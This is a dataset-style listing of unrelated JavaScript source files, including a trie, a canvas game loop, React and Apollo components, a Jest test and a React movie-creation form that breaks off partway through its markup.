text stringlengths 7 3.69M |
|---|
class TrieNode {
#numChildren = 0;
constructor(char) {
this.char = char;
this.children = new Array(26).fill(null);
this.isEndWord = false;
}
#getIndex(char) {
return char.charCodeAt() - 'a'.charCodeAt();
}
isEmpty() {
return this.#numChildren === 0;
}
addChild(char) {
if (!this.getChildAt(char)) {
this.children[this.#getIndex(char)] = new TrieNode(char);
this.#numChildren++;
}
}
removeChild(char) {
if (this.getChildAt(char)) {
this.children[this.#getIndex(char)] = null;
this.#numChildren--;
}
}
getChildAt(char) {
return this.children[this.#getIndex(char)];
}
markAsEndWord() {
this.isEndWord = true;
}
unmarkAsEndWord() {
this.isEndWord = false;
}
}
class Trie {
constructor() {
this.root = new TrieNode('');
}
add(word) {
// Start at the root node
let curr = this.root;
// For Each character in the given word
// 1. See if a node for that character exists at the current node
// 2. If yes, check that node for the next character
// 3. If no, add a new TrieNode for that character
for (let i = 0; i < word.length; i++) {
const char = word[i].toLowerCase();
const child = curr.getChildAt(char);
if (child) {
curr = child;
} else {
curr.addChild(char);
curr = curr.getChildAt(char);
}
}
curr.markAsEndWord();
}
#deleteWord(word, node, currLevel) {
let deletedNode = false;
// Found last character node in Trie
if (currLevel === word.length) {
// If leaf node, nullify node
// and mark deleted as true
if (node.isEmpty()) {
node = null;
deletedNode = true;
} else {
node.unmarkAsEndWord();
deletedNode = false;
}
} else {
const char = word[currLevel];
const childNode = node.getChildAt(char);
const deletedChild = this.#deleteWord(word, childNode, currLevel + 1);
// IF Child node deleted, check:
// If current node is an endWord
// If yes, do not delete
// If no, BUT has other children, do not delete
// If no, AND no other children, delete
if (deletedChild) {
node.removeChild(char)
if (node.isEndWord) {
deletedNode = false;
} else if (!node.isEmpty()) {
deletedNode = false;
} else {
node = null;
deletedNode = true;
}
} else {
deletedNode = false;
}
}
return deletedNode;
}
delete(word) {
if (!this.root || !word) {
return;
}
this.#deleteWord(word, this.root, 0);
}
search(word) {
let curr = this.root;
for (let i = 0; i < word.length; i++) {
const child = curr.getChildAt(word[i]);
if (!child) {
return false;
}
curr = child;
}
return curr.isEndWord;
}
}
export default Trie; |
let runners = [];
runners.push(new Runner());
function Update() {
let dt = Date.now() - lastDate;
lastDate = Date.now();
Tick();
UpdateCanvasDimensions();
UpdateViewport();
Draw();
requestAnimationFrame(Update);
}
function Tick() {
for (let i = 0; i < runners.length; i++)
runners[i].Tick();
}
function IsColliding(object, collidee) {
return (
collidee.x < object.x + object.width &&
collidee.x + object.width > object.x &&
collidee.y < object.y + object.height &&
collidee.y + collidee.height > object.y
);
}
function IsCollidingX(object, titanic, offsetX = 0, offsetY = 0) {
// If pos + vel, collide
return (
titanic.x < object.x + object.width + object.velX + offsetX &&
titanic.x + titanic.width > object.x + object.velX + offsetX &&
titanic.y < object.y + object.height + offsetY &&
titanic.y + titanic.height > object.y + offsetY
);
}
function IsCollidingY(object, titanic, offsetX = 0, offsetY = 0) {
// If pos + vel, collide
return (
titanic.x < object.x + object.width + offsetX &&
titanic.x + titanic.width > object.x + offsetX &&
titanic.y < object.y + object.height + object.velY + offsetY &&
titanic.y + titanic.height > object.y + object.velY + offsetY
);
}
function UpdateViewport() {
let padding = 30;
viewport.height = canvas.height;
viewport.width = canvas.width;
ctx.restore();
ctx.save();
viewport.x = runners[0].x - canvas.width / 2;
viewport.y = runners[0].y - canvas.height / 2;
viewport.x = viewport.x < 0 - padding ? 0 - padding : viewport.x;
viewport.x = viewport.x + viewport.width > map.width + padding ? map.width - viewport.width + padding : viewport.x;
viewport.y = viewport.y < 0 - padding ? 0 - padding : viewport.y;
viewport.y = viewport.y + viewport.height > map.height + padding ? map.height - viewport.height + padding : viewport.y;
ctx.translate(-viewport.x, -viewport.y);
}
function Draw () {
ctx.clearRect(viewport.x, viewport.y, canvas.width, canvas.height);
for (let i = 0; i < platforms.length; i++) {
if (platforms[i].deadly)
ctx.fillStyle = '#2e2e2e';
else
ctx.fillStyle = '#e57373';
ctx.fillRect(platforms[i].x, platforms[i].y, platforms[i].width, platforms[i].height);
}
ctx.fillStyle = '#e57373';
ctx.fillRect(0, map.height, 30000, 10);
// ctx.drawImage(images.emil, runner.x, runner.y);
ctx.fillStyle = '#546e7a';
for (let i = 0; i < runners.length; i++) {
ctx.fillRect(runners[i].x, runners[i].y, runners[i].width, runners[i].height);
}
}
Update();
|
import React from 'react';
import gql from 'graphql-tag';
import './style.css';
import { withState } from 'recompose';
import IssueItem from '../IssueItem';
import Loading from '../../Loading';
import ErrorMessage from '../../Error';
import { Query, ApolloConsumer } from 'react-apollo';
import { ButtonUnobtrusive } from '../../Button';
const GET_ISSUES_OF_REPOSITORY = gql`
query(
$repositoryOwner: String!,
$repositoryName: String!
$issueState: IssueState!
) {
repository(name: $repositoryName, owner: $repositoryOwner) {
issues(first: 5, states: [$issueState]) {
edges {
node {
id
number
state
title
url
bodyHTML
}
}
}
}
}
`;
const ISSUE_STATES = {
NONE: 'NONE',
OPEN: 'OPEN',
CLOSED: 'CLOSED',
};
const TRANSITION_LABELS = {
[ISSUE_STATES.NONE]: 'Show Open Issues',
[ISSUE_STATES.OPEN]: 'Show Closed Issues',
[ISSUE_STATES.CLOSED]: 'Hide Issues',
};
const TRANSITION_STATE = {
[ISSUE_STATES.NONE]: ISSUE_STATES.OPEN,
[ISSUE_STATES.OPEN]: ISSUE_STATES.CLOSED,
[ISSUE_STATES.CLOSED]: ISSUE_STATES.NONE,
};
const isShow = issueState => issueState !== ISSUE_STATES.NONE;
const Issues = ({
repositoryOwner,
repositoryName,
issueState,
onChangeIssueState,
}) => (
<div className="Issues">
<IssueFilter
repositoryOwner={repositoryOwner}
repositoryName={repositoryName}
issueState={issueState}
onChangeIssueState={onChangeIssueState}
/>
{isShow(issueState) && (
<Query
query={GET_ISSUES_OF_REPOSITORY}
variables={{
repositoryOwner,
repositoryName,
issueState
}}>
{({data, loading, error}) => {
if (error) {
return <ErrorMessage error={error} />;
}
const { repository } = data;
if (loading && ! repository) {
return <Loading />;
}
/*const filteredRepository = {
issues: {
edges: repository.issues.edges.filter(
issue => issue.node.state === issueState,
),
},
}; */
if (!repository.issues.edges.length) {
return <div className="IssueList"> No issues ... </div>
}
return <IssueList issues={repository.issues} />
}}
</Query>
)}
</div>
)
const IssueFilter = ({
repositoryOwner,
repositoryName,
issueState,
onChangeIssueState
}) => (
<ApolloConsumer>
{client => (
<ButtonUnobtrusive
onClick={() => onChangeIssueState(TRANSITION_STATE[issueState])}
onMouseOver={
() => prefetchIssues(
client,
repositoryOwner,
repositoryName,
issueState,)}>
{TRANSITION_LABELS[issueState]}
</ButtonUnobtrusive>
)}
</ApolloConsumer>
)
const prefetchIssues = (
client,
repositoryOwner,
repositoryName,
issueState
) => {
const nextIssueState = TRANSITION_STATE[issueState];
if(isShow(nextIssueState)) {
client.query({
query: GET_ISSUES_OF_REPOSITORY,
variables: {
repositoryOwner,
repositoryName,
issueState: nextIssueState,
}
})
}
}
const IssueList = ({ issues }) => (
<div className="IssuesList">
{issues.edges.map(({node}) => (
<IssueItem key={node.id} issue={node} />
))}
</div>
)
export default withState(
'issueState',
'onChangeIssueState',
ISSUE_STATES.NONE,
)(Issues); |
import styled from '@emotion/styled'
import { css } from '@emotion/core'
import { Nav } from '../../atoms'
// @TODO finish styling this component.
// eslint-disable-next-line import/prefer-default-export
export const PaginationNav = styled(Nav)(() => {
return css``
})
|
self.__precacheManifest = (self.__precacheManifest || []).concat([
{
"revision": "39e9b59ce178c715f90789cc71115051",
"url": "/index.html"
},
{
"revision": "76bf904bba33ad6e58cb",
"url": "/static/css/main.0c6a8788.chunk.css"
},
{
"revision": "669639e029dcec8ebfc7",
"url": "/static/js/2.04556663.chunk.js"
},
{
"revision": "c64c486544348f10a6d6c716950bc223",
"url": "/static/js/2.04556663.chunk.js.LICENSE.txt"
},
{
"revision": "76bf904bba33ad6e58cb",
"url": "/static/js/main.e4ea4eee.chunk.js"
},
{
"revision": "d5ce6d3e65d761cd8d7c",
"url": "/static/js/runtime-main.94e9db8a.js"
},
{
"revision": "3154f28d12cf9aa5a0c0f0a62fb27577",
"url": "/static/media/CinzelDecorative-Bold.3154f28d.otf"
},
{
"revision": "01f3d4803613ee9556769509a85dba50",
"url": "/static/media/FiraCode-Bold.01f3d480.ttf"
},
{
"revision": "d60b1090972c3e6230c555347da880db",
"url": "/static/media/FiraCode-Regular.d60b1090.ttf"
}
]); |
const sameTree = require('../../challenges/sameTree')
test('Expects Tree1 and Tree2 to Equal True', () => {
expect(sameTree(tree1, tree2)).toEqual(true);
});
// test('Expects tree3 and tree4 to equal false', () => {
// expect(sameTree(tree3, tree4)).toEqual(false);
// });
//
// test('Expects [3, 5, 9, 10, 12, 15, 18] to equal [1]', () => {
// expect(notDivide([3, 5, 9, 10, 12, 15, 18])).toEqual([]);
// });
//
// test('Expects [3, 5, 9, 10, 12, 15, 18] to equal [1]', () => {
// expect(notDivide([3, 5, 9, 10, 12, 15, 18])).toEqual([]);
// });
let tree1 = {
"data": 10,
"childNodes": [
{
"data": 5,
"childNodes": []
},
{
"data": 8,
"childNodes": [
{
"data": 7,
"childNodes": []
}
]
}
]
}
let tree2 = {
"data": 10,
"childNodes": [
{
"data": 8,
"childNodes": [
{
"data": 7,
"childNodes": []
}
]
},
{
"data": 5,
"childNodes": []
}
]
}
|
// import React from 'react';
// export const Small = ({value}) => {
// console.log('Small renderizado');
// return (
// <>
// <small>{ value }</small>
// </>
// )
// }
// // Forma 1
// // Agregar memo para memorizar
// import React, { memo } from 'react';
// // Englobar toda la función del componente en memo(). Esto causa que el componente valide si cambiaron sus propiedades y solo se renderiza si hay cambios.
// export const Small = memo(({value}) => {
// console.log('Small renderizado');
// return (
// <>
// <small>{ value }</small>
// </>
// )
// })
// Forma 2
import React from 'react';
// Englobar toda la función del componente en React.memo(). Esta forma omite la importación de memo.
export const Small = React.memo(({value}) => {
console.log('Small renderizado');
return (
<>
<small>{ value }</small>
</>
)
})
|
import React from 'react';
import './TestmonialCard.css'
const TestmonialCard = (props) => {
const {name,image,country,description}=props.testimonial;
return (
<div className="col-md-3 card shadow-sm m-2">
<div className="card-body">
<p className="card-text text-center">{description}</p>
</div>
<div className="card-footer d-flex align-items-center">
<img className="mx-3" src={image} alt="" width="60"/>
<div>
<h6 className="text-primary">{name}</h6>
<p className="m-0">{country}</p>
</div>
</div>
</div>
);
};
export default TestmonialCard; |
import React, { Component } from 'react';
import { Text, View } from 'react-native';
export default class Font extends Component {
render() {
const font = this.props.font;
const style = {
fontFamily: font,
fontSize: 19,
textAlign: 'center'
};
let secondLine;
if(font === "Bodoni Ornaments" || font === "BodoniOrnamentsITCTT") {
secondLine = <Text style={{textAlign: 'center', fontStyle: 'italic'}}>({font})</Text>;
style.fontSize = 15;
}
return (
<View>
<Text style={style} onLongPress={this.props.onLongPress}>{font}</Text>
{secondLine}
</View>
)
}
}
|
window.onload = () =>{
const searchField = document.getElementById('country');
const searchButton = document.getElementById('lookup');
const result = document.getElementById('result');
let httpRequest = new XMLHttpRequest();
let url = "https://info2180-lab7-kayonmarie.c9users.io/world.php";
searchButton.addEventListener('click', findCountry);
function findCountry(){
let data = searchField.value;
let ext = '?country='+data;
httpRequest.onreadystatechange = doSomething;
httpRequest.open('GET', url+ext, true);
httpRequest.send();
}
function doSomething(){
if(httpRequest.readyState === XMLHttpRequest.DONE){
if(httpRequest.status === 200){
let response = httpRequest.responseText;
result.innerHTML = response;
}
else{
alert('There is a problem with the request');
}
}
}
} |
import React, { Component } from "react"
import Form from '../../components/DynamicForm/Index'
import { connect } from "react-redux";
import * as actions from '../../store/actions/general';
import Validator from '../../validators';
import axios from "../../axios-orders"
import Router from "next/router"
import Translate from "../../components/Translate/Index";
import ReactDOMServer from "react-dom/server"
import Currency from "../Upgrade/Currency"
import Countries from "./Movies/Countries"
import Seasons from "./Movies/Seasons"
import Generes from "./Movies/Generes"
import CastnCrew from "./Movies/CastnCrew"
import Videos from "./Movies/Videos"
import Images from "./Movies/Images"
import Link from "../../components/Link/index";
class Movie extends Component {
constructor(props) {
super(props)
this.state = {
selectType:props.pageInfoData.selectType ? props.pageInfoData.selectType : "movie",
chooseType: props.pageInfoData.tabType ? props.pageInfoData.tabType : "facts",
firstStep: props.pageInfoData.editItem ? false : true,
editItem: props.pageInfoData.editItem,
rent_movies:props.pageInfoData.rent_movies ? true : false,
error: null,
movieCategories:props.pageInfoData.movieCategories,
movie_sell:props.pageInfoData.movie_sell ? true : false,
movie_rent:props.pageInfoData.movie_rent ? true : false,
spokenLanguage:props.pageInfoData.spokenLanguage,
seasons:props.pageInfoData.seasons ? props.pageInfoData.seasons : [],
images:props.pageInfoData.images ? props.pageInfoData.images : [],
videos:props.pageInfoData.videos ? props.pageInfoData.videos : [],
castncrew:props.pageInfoData.castncrew ? props.pageInfoData.castncrew : [],
generes:props.pageInfoData.generes ? props.pageInfoData.generes : [],
countries:props.pageInfoData.countries ? props.pageInfoData.countries : [],
movie_countries:props.pageInfoData.movie_countries ? props.pageInfoData.movie_countries : [],
width:props.isMobile ? props.isMobile : 993,
category_id: props.pageInfoData.editItem ? props.pageInfoData.editItem.category_id : null,
subcategory_id: props.pageInfoData.editItem ? props.pageInfoData.editItem.subcategory_id : null,
subsubcategory_id: props.pageInfoData.editItem ? props.pageInfoData.editItem.subsubcategory_id : null,
privacy: props.pageInfoData.editItem ? props.pageInfoData.editItem.view_privacy : "everyone",
}
this.myRef = React.createRef();
this.empty = true
this.updateWindowDimensions = this.updateWindowDimensions.bind(this);
}
updateWindowDimensions() {
this.setState({localUpdate:true, width: window.innerWidth });
}
componentWillUnmount() {
window.removeEventListener('resize', this.updateWindowDimensions);
}
componentDidMount(){
if(this.props.pageInfoData.appSettings["fixed_header"] == 1 && this.props.hideSmallMenu && !this.props.menuOpen){
this.props.setMenuOpen(true)
}
this.updateWindowDimensions();
window.addEventListener('resize', this.updateWindowDimensions);
this.props.socket.on('moviVideoCreated', data => {
let videoId = data.videoId
let status = data.status
if(this.state.videos && this.state.videos.length > 0){
const itemIndex = this.getItemIndex(videoId)
if (itemIndex > -1) {
const items = [...this.state.videos]
const changedItem = items[itemIndex]
changedItem.completed = status
this.setState({localUpdate:true, videos: items })
}
}
});
}
getItemIndex(item_id) {
const videos = [...this.state.videos];
const itemIndex = videos.findIndex(p => p["movie_video_id"] == item_id);
return itemIndex;
}
static getDerivedStateFromProps(nextProps, prevState) {
if(typeof window == "undefined" || nextProps.i18n.language != $("html").attr("lang")){
return null;
}
if(prevState.localUpdate){
return {...prevState,localUpdate:false}
}else {
return {
selectType:nextProps.pageInfoData.selectType ? nextProps.pageInfoData.selectType : "movie",
width:nextProps.isMobile ? nextProps.isMobile : 993,
chooseType: nextProps.pageInfoData.tabType ? nextProps.pageInfoData.tabType : "facts",
editItem: nextProps.pageInfoData.editItem,
rent_movies:nextProps.pageInfoData.rent_movies ? true : false,
error: null,
movie_countries:nextProps.pageInfoData.movie_countries ? nextProps.pageInfoData.movie_countries : [],
firstStep: nextProps.pageInfoData.editItem ? false : true,
movieCategories:nextProps.pageInfoData.movieCategories,
movie_sell:nextProps.pageInfoData.movie_sell ? true : false,
movie_rent:nextProps.pageInfoData.movie_rent ? true : false,
spokenLanguage:nextProps.pageInfoData.spokenLanguage,
seasons:nextProps.pageInfoData.seasons ? nextProps.pageInfoData.seasons : [],
images:nextProps.pageInfoData.images ? nextProps.pageInfoData.images : [],
videos:nextProps.pageInfoData.videos ? nextProps.pageInfoData.videos : [],
castncrew:nextProps.pageInfoData.castncrew ? nextProps.pageInfoData.castncrew : [],
generes:nextProps.pageInfoData.generes ? nextProps.pageInfoData.generes : [],
countries:nextProps.pageInfoData.countries ? nextProps.pageInfoData.countries : [],
category_id: nextProps.pageInfoData.editItem ? nextProps.pageInfoData.editItem.category_id : null,
subcategory_id: nextProps.pageInfoData.editItem ? nextProps.pageInfoData.editItem.subcategory_id : null,
subsubcategory_id: nextProps.pageInfoData.editItem ? nextProps.pageInfoData.editItem.subsubcategory_id : null,
privacy: nextProps.pageInfoData.editItem ? nextProps.pageInfoData.editItem.view_privacy : "everyone",
}
}
}
componentDidUpdate(prevProps,prevState){
if(this.state.editItem != prevState.editItem){
this.empty = true
this.firstLoaded = false
}
}
onSubmit = model => {
if (this.state.submitting) {
return
}
if(this.state.movie_sell && this.props.pageInfoData.appSettings['movie_commission_type'] == 1 && this.props.pageInfoData.appSettings['movie_commission_value'] > 0){
if(model['price'] && parseFloat(model['price']) > 0){
if(model['price'] <= this.props.pageInfoData.appSettings['movie_commission_value']){
let perprice = {}
perprice['package'] = { price: this.props.pageInfoData.appSettings['movie_commission_value'] }
this.setState({localUpdate:true,error:[{message:this.props.t("Price enter must be greater than {{price}}.",{price:ReactDOMServer.renderToStaticMarkup(<Currency { ...this.props } {...perprice} />)})}]})
return;
}
}else{
model['price'] = 0
}
}
if(this.state.movie_rent && this.props.pageInfoData.appSettings['movie_commission_rent_type'] == 1 && this.props.pageInfoData.appSettings['movie_commission_rent_value'] > 0){
if(model['rent_price'] && parseFloat(model['rent_price']) > 0){
if(model['rent_price'] <= this.props.pageInfoData.appSettings['movie_commission_rent_value']){
let perprice = {}
perprice['package'] = { price: this.props.pageInfoData.appSettings['movie_commission_rent_value'] }
this.setState({localUpdate:true,error:[{message:this.props.t("Rent Price enter must be greater than {{price}}.",{price:ReactDOMServer.renderToStaticMarkup(<Currency { ...this.props } {...perprice} />)})}]})
return;
}
}else{
model['rent_price'] = 0
}
}
let formData = new FormData();
for (var key in model) {
if(key == "movie_release"){
if(model[key]){
formData.append(key, new Date(model[key]).toJSON().slice(0,10));
}
}else if(model[key] != null && typeof model[key] != "undefined")
formData.append(key, model[key]);
}
//image
if (model['image']) {
let image = typeof model['image'] == "string" ? model['image'] : false
if (image) {
formData.append('movieImage', image)
}
}
formData.append("category",this.state.selectType);
const config = {
headers: {
'Content-Type': 'multipart/form-data',
}
};
let url = '/movies/create';
if (this.state.editItem) {
url = "/movies/create";
formData.append("movieId", this.state.editItem.movie_id)
}
let category = this.props.pageInfoData.selectType
this.setState({localUpdate:true, submitting: true, error: null });
axios.post(url, formData, config)
.then(response => {
if (response.data.error) {
window.scrollTo(0, this.myRef.current.offsetTop);
this.setState({localUpdate:true, error: response.data.error, submitting: false });
} else {
if(this.state.editItem){
this.setState({submitting:false,localUpdate:true})
}else{
this.setState({submitting:false,localUpdate:true,firstStep:false,editItem:response.data.editItem,chooseType:"seasons"},() => {
if(category == "movie")
Router.push(`/create-movie?movieId=${this.state.editItem.custom_url}`, `/create-movie/${this.state.editItem.custom_url}?type=seasons`,{ shallow: true })
else
Router.push(`/create-series?movieId=${this.state.editItem.custom_url}`, `/create-series/${this.state.editItem.custom_url}?type=seasons`,{ shallow: true })
})
}
}
}).catch(err => {
this.setState({localUpdate:true, submitting: false, error: err });
});
};
chooseType = (type, e) => {
e.preventDefault()
if(this.state.firstStep){
return;
}
if(type == this.state.chooseType){
return;
}
if (this.props.pageInfoData && !this.props.pageInfoData.loggedInUserDetails) {
document.getElementById('loginFormPopup').click();
} else {
if (this.state.validating) {
return
}
this.empty = true
this.setState({localUpdate:true, chooseType: type })
if(this.props.pageInfoData.selectType == "movie")
Router.push(`/create-movie?movieId=${this.state.editItem.custom_url}`, `/create-movie/${this.state.editItem.custom_url}?type=${type}`,{ shallow: true })
else
Router.push(`/create-series?movieId=${this.state.editItem.custom_url}`, `/create-series/${this.state.editItem.custom_url}?type=${type}`,{ shallow: true })
}
}
onCategoryChange = (category_id) => {
this.setState({localUpdate:true, category_id: category_id, subsubcategory_id: 0, subcategory_id: 0 })
}
onSubCategoryChange = (category_id) => {
this.setState({localUpdate:true, subcategory_id: category_id, subsubcategory_id: 0 })
}
onSubSubCategoryChange = (category_id) => {
this.setState({localUpdate:true, subsubcategory_id: category_id })
}
onChangePrivacy = (value) => {
this.setState({localUpdate:true, privacy: value })
}
updateSteps = (state) => {
let fields = {}
fields[state.key] = state.value
fields["localUpdate"] = true
this.setState(fields);
}
changeFilter = (e) => {
e.preventDefault()
if(this.state.firstStep){
return;
}
let type = e.target.value
this.setState({localUpdate:true,chooseType:type})
}
render() {
let validator = [
{
key: "title",
validations: [
{
"validator": Validator.required,
"message": "Title is required field"
}
]
}
]
let imageUrl = null
if(this.state.editItem && this.state.editItem.image){
if(this.state.editItem.image.indexOf("http://") == 0 || this.state.editItem.image.indexOf("https://") == 0){
imageUrl = this.state.editItem.image
}else{
imageUrl = this.props.pageInfoData.imageSuffix+this.state.editItem.image
}
}
let formFields = [
{ key: "title", label: "Title", value: this.state.editItem ? this.state.editItem.title : null ,isRequired:true},
{ key: "description", label: "Description", type: "textarea", value: this.state.editItem ? this.state.editItem.description : null },
{ key: "image", label: "Upload Image", type: "file", value: imageUrl },
]
let groupData0 = []
if(this.state.movie_sell){
validator.push({
key: "price",
validations: [
{
"validator": Validator.price,
"message": "Please provide valid price"
}
]
})
let postDescription = null
if(this.props.pageInfoData.appSettings['movie_commission_type'] == 1 && this.props.pageInfoData.appSettings['movie_commission_value'] > 0){
let perprice = {}
perprice['package'] = { price: this.props.pageInfoData.appSettings['movie_commission_value'] }
postDescription = '<div class="form-post-description">' + this.props.t("Price enter must be greater than {{price}}.",{price:ReactDOMServer.renderToStaticMarkup(<Currency { ...this.props } {...perprice} />)}) + '</div>'
}
groupData0.push({"postDescription":postDescription, key: "price", label: this.state.selectType == "movie" ? "Price (Put 0 for free movies)" : "Price (Put 0 for free series)", value: this.state.editItem ? this.state.editItem.price : null,isRequired:true })
}
if(this.state.movie_rent){
validator.push({
key: "rent_price",
validations: [
{
"validator": Validator.price,
"message": "Please provide valid rent price"
}
]
})
let postDescriptionData = null
if(this.props.pageInfoData.appSettings['movie_commission_rent_type'] == 1 && this.props.pageInfoData.appSettings['movie_commission_rent_value'] > 0){
let perprice = {}
perprice['package'] = { price: this.props.pageInfoData.appSettings['movie_commission_rent_value'] }
postDescriptionData = '<div class="form-post-description">' + this.props.t("Rent Price enter must be greater than {{price}}.",{price:ReactDOMServer.renderToStaticMarkup(<Currency { ...this.props } {...perprice} />)}) + '</div>'
}
groupData0.push({"postDescription":postDescriptionData, key: "rent_price", label: this.state.selectType == "movie" ? "Rent Price (Put 0 to disable rent movies)" : "Rent Price (Put 0 to disable rent series)", value: this.state.editItem ? this.state.editItem.rent_price : null,isRequired:true })
}
if(groupData0.length > 0){
formFields.push({
key:"group_data",
keyValue:"group_0",
values:groupData0
})
}
if (this.props.pageInfoData.movieCategories) {
let categories = []
categories.push({ key: 0, value: 0, label: "Please Select Category" })
this.props.pageInfoData.movieCategories.forEach(res => {
categories.push({ key: res.category_id, label: res.title, value: res.category_id })
})
formFields.push({
key: "category_id",
label: "Category",
type: "select",
value: this.state.editItem ? this.state.editItem.category_id : "",
onChangeFunction: this.onCategoryChange,
options: categories
})
//get sub category
if (this.state.category_id) {
let subcategories = []
this.props.pageInfoData.movieCategories.forEach(res => {
if (res.category_id == this.state.category_id) {
if (res.subcategories) {
subcategories.push({ key: 0, value: 0, label: "Please Select Sub Category" })
res.subcategories.forEach(rescat => {
subcategories.push({ key: rescat.category_id, label: rescat.title, value: rescat.category_id })
})
}
}
})
if (subcategories.length > 0) {
formFields.push({
key: "subcategory_id",
label: "Sub Category",
value: this.state.editItem ? this.state.editItem.subcategory_id : "",
type: "select",
onChangeFunction: this.onSubCategoryChange,
options: subcategories
})
if (this.state.subcategory_id) {
let subsubcategories = []
this.props.pageInfoData.movieCategories.forEach(res => {
if (res.category_id == this.state.category_id) {
if (res.subcategories) {
res.subcategories.forEach(rescat => {
if (rescat.category_id == this.state.subcategory_id) {
if (rescat.subsubcategories) {
subsubcategories.push({ key: 0, value: 0, label: "Please Select Sub Sub Category" })
rescat.subsubcategories.forEach(ressubcat => {
subsubcategories.push({ key: ressubcat.category_id, label: ressubcat.title, value: ressubcat.category_id })
})
}
}
})
}
}
})
if (subsubcategories.length > 0) {
formFields.push({
key: "subsubcategory_id",
label: "Sub Sub Category",
type: "select",
value: this.state.editItem ? this.state.editItem.subsubcategory_id : "",
onChangeFunction: this.onSubSubCategoryChange,
options: subsubcategories
});
}
}
}
}
}
let groupData1 = []
let languages = []
if(this.state.spokenLanguage){
languages.push({ key: 0, value: 0, label: this.props.t("Please Select Language") })
this.state.spokenLanguage.forEach(lan => {
languages.push({ key: lan.code, label: lan.name, value: lan.code })
})
groupData1.push({
key: "language",
label: "Language",
type: "select",
value: this.state.editItem ? this.state.editItem.language : "",
options: languages
});
}
groupData1.push({
key: "movie_release",
label: "Release Date",
type: "date",
value: this.state.editItem ? (this.state.editItem.movie_release && this.state.editItem.movie_release != "" ? new Date(this.state.editItem.movie_release.toString()) : "") : new Date(),
})
formFields.push({
key:"group_data",
keyValue:"group_1",
values:groupData1
})
let groupData2 = []
validator.push({
key: "budget",
validations: [
{
"validator": Validator.price,
"message": "Please provide valid budget price"
}
]
})
let perpriceB = {}
perpriceB['package'] = { price: "" }
groupData2.push({
key: "budget",
label: this.props.t("Budget ({{price}})",{price:ReactDOMServer.renderToStaticMarkup(<Currency { ...this.props } {...perpriceB} />).replace("0.00",'')}),
type: "number",
value: this.state.editItem ? this.state.editItem.budget.toString() : "",
})
validator.push({
key: "revenue",
validations: [
{
"validator": Validator.price,
"message": "Please provide valid revenue price"
}
]
})
groupData2.push({
key: "revenue",
label: this.props.t("Revenue ({{price}})",{price:ReactDOMServer.renderToStaticMarkup(<Currency { ...this.props } {...perpriceB} />).replace("0.00",'')}),
type: "number",
value: this.state.editItem ? this.state.editItem.revenue.toString() : "",
})
formFields.push({
key:"group_data",
keyValue:"group_2",
values:groupData2
})
formFields.push({
key: "tags",
label: "Tags",
type: "tags",
value:this.state.editItem && this.state.editItem.tags ? this.state.editItem.tags.split(",") : []
})
if (this.props.pageInfoData.appSettings.movie_adult == "1") {
formFields.push({
key: "adult",
label: "",
subtype:"single",
type: "checkbox",
value: this.state.editItem ? [this.state.editItem.adult ? "1" : "0"] : ["0"],
options: [
{
value: "1", label: "Mark as Adult", key: "adult_1"
}
]
})
}
formFields.push({
key: "search",
label: "",
type: "checkbox",
subtype:"single",
value: this.state.editItem ? [this.state.editItem.search ? "1" : "0"] : ["1"],
options: [
{
value: "1", label: this.state.selectType == "movie" ? "Show this movie in search results" : "Show this series in search results", key: "search_1"
}
]
})
if(this.props.pageInfoData.appSettings['enable_comment_approve'] == 1){
let comments = []
comments.push({ value: "1", key: "comment_1", label: "Display automatically" })
comments.push({ value: "0", key: "comment_0", label: "Don't display until approved" })
formFields.push({
key: "comments",
label: "Comments Setting",
type: "select",
value: this.state.editItem ? this.state.editItem.autoapprove_comments.toString() : "1",
options: comments
})
}
let privacyOptions = [
{
value: "everyone", label: "Anyone", key: "everyone"
},
{
value: "onlyme", label: "Only me", key: "onlyme"
},
{
value: "password", label: "Only people with password", key: "password"
},
{
value: "link", label: "Only to people who have link", key: "link"
}
]
if (this.props.pageInfoData.appSettings.user_follow == "1") {
privacyOptions.push({
value: "follow", label: "Only people I follow", key: "follow"
})
}
if(this.props.pageInfoData.plans && this.props.pageInfoData.plans.length > 0){
this.props.pageInfoData.plans.forEach(item => {
let perprice = {}
perprice['package'] = { price: item.price }
privacyOptions.push({
value:"package_"+item.member_plan_id,label:this.props.t("Limited to {{plan_title}} ({{plan_price}}) and above",{plan_title:item.title,plan_price:ReactDOMServer.renderToStaticMarkup(<Currency { ...this.props } {...perprice} />)}),key:"package_"+item.member_plan_id
})
})
}
formFields.push({
key: "privacy",
label: "Privacy",
type: "select",
value: this.state.editItem ? this.state.editItem.view_privacy : "everyone",
onChangeFunction: this.onChangePrivacy,
options: privacyOptions
})
if (this.state.privacy == "password") {
formFields.push({
key: "password", label: "Password", 'type': "password", value: this.state.editItem ? this.state.editItem.password : "",isRequired:true
})
validator.push({
key: "password",
validations: [
{
"validator": Validator.required,
"message": "Password is required field"
}
]
})
}
let defaultValues = {}
if(this.empty){
formFields.forEach((elem) => {
if(elem.key == "group_data"){
elem.values.forEach((ele) => {
if(ele.value)
defaultValues[ele.key] = ele.value
else
defaultValues[ele.key] = ""
})
}else if (elem.value){
defaultValues[elem.key] = elem.value
}else{
defaultValues[elem.key] = ""
}
})
}
if (this.state.category_id) {
defaultValues['category_id'] = this.state.category_id
}
if (this.state.subcategory_id) {
defaultValues['subcategory_id'] = this.state.subcategory_id
}
if (this.state.privacy) {
defaultValues['privacy'] = this.state.privacy
}
if (this.state.subsubcategory_id) {
defaultValues['subsubcategory_id'] = this.state.subsubcategory_id
}
var empty = false
if(this.empty){
empty = true
this.empty = false
}
const options = {}
options["facts"] = Translate(this.props,"Primary Facts")
options["seasons"] = Translate(this.props,"Seasons")
options["images"] = Translate(this.props,"Images")
options["videos"] = Translate(this.props,"Videos")
options["castncrew"] = Translate(this.props,"Cast & Crew")
options["genres"] = Translate(this.props,"Genres")
options["countries"] = Translate(this.props,"Countries")
return (
<React.Fragment>
{
<div className="container-fluid" ref={this.myRef}>
<div className="row">
<div className="col-lg-2">
<div className="sdBarSettBox">
{
this.state.width > 992 ?
<ul className="nav nav-tabs tabsLeft">
<li>
<a href="#" onClick={this.chooseType.bind(this, "facts")} className={this.state.chooseType == "facts" ? "active" : ""}>
{Translate(this.props,"Primary Facts")}
</a>
</li>
<li>
<a href="#" title={this.state.firstStep ? this.props.t('Save from "Primary Facts" panel in order to enable other menu items.') : ""} onClick={this.chooseType.bind(this, "seasons")} className={this.state.chooseType == "seasons" ? "active" : ""}>
{Translate(this.props,"Seasons")}
</a>
</li>
<li>
